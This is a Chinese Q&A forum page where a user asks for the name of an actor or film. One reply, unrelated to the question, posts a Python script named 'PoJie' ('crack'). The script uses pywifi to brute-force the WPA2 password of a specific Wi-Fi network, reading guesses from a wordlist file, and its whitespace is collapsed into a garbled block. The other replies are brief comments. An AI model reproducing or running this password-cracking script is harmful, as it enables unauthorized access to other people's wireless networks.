• 手机版

    扫码体验手机版

  • 微信公众号

    扫码关注公众号

国内首家协议开发

软芯音视解码保护平台

在线
客服

发布
需求

在线
聊天

天盟
APP

天盟APP下载

关注
微信

微信扫一扫访问
顶部

其实我就想来问一下 这个演员的名字 或者这部片子的名字

其实我就想来问一下 这个演员的名字 或者这部片子的名字

免责声明:本内容仅代表回答会员见解不代表天盟观点,请谨慎对待。

版权声明:作者保留权利,不代表天盟立场。

使用道具 举报

全部参与5

#coding:utf-8importtimeimportpywififrompywifiimportconstfromasyncio.tasksimportsleepclassPoJie():        def_init_(self,path):                        self.file=open(path,"r",errors="ignore")                wifi=pywifi.PyWiFi()#抓取网卡接口                self.iface=wifi.interfaces()[0]#抓取第一个无线网卡                self.iface.disconnect()#测试链接断开所有链接                                time.sleep(1)#休眠1秒                #测试网卡是否属于断开状态                                assertself.iface.status()in\                                        [const.IFACE_DISCONNECTED,const.IFACE_INACTIVE]        defreadPassWord(self):                print("开始开发:")                whileTrue:                        try:                                myStr=self.file.readline()                                ifnotmyStr:                                        break                                bool1=self.test_connect(myStr)                                ifbool1:                                        print("密码正确:",myStr)                                        break                                else:                                        print("密码错误:"+myStr)                                sleep(3)                        except:                                continue        deftest_connect(self,findStr):#测试链接                profile=pywifi.Profile()#创建wifi链接文件                profile.ssid="CMCC-PXMh"#wifi名称                profile.auth=const.AUTH_ALG_OPEN#网卡的开放                profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法                profile.cipher=const.CIPHER_TYPE_CCMP#加密单元                profile.key=findStr#密码                self.iface.remove_all_network_profiles()#删除所有的wifi文件                tmp_profile=self.iface.add_network_profile(profile)#设定新的链接文件self.iface.connect(tmp_profile)#链接                time.sleep(5)                ifself.iface.status()==const.IFACE_CONNECTED:#判断是否连接上isOK=True                else:                        isOK=False                self.iface.disconnect()#断开                time.sleep(1)                #检查断开状态                assertself.iface.status()in\                        [const.IFACE_DISCONNECTED,const.IFACE_INACTIVE]                returnisOK        def_del_(self):                self.file.close()path=r"C:\Users\Administrator\Desktop\资料\wifi.txt"start=PoJie()start.readPassWord()

使用道具 举报

没看过

使用道具 举报

看着像韩国片

使用道具 举报

贼6啊啊

使用道具 举报

你大概是问错地方了,哈哈

使用道具 举报

发新帖

发布任务需求已有1031165位用户正在使用天盟网服务

发布分类: *
任务预算: *
需求内容: *
手机号码: *
任务商家报价为
  • 预算价 :
  • 成交价 :
  • 完工期 :
  • 质保期 :

* 最终任务项目以服务商报价、双方协商为准!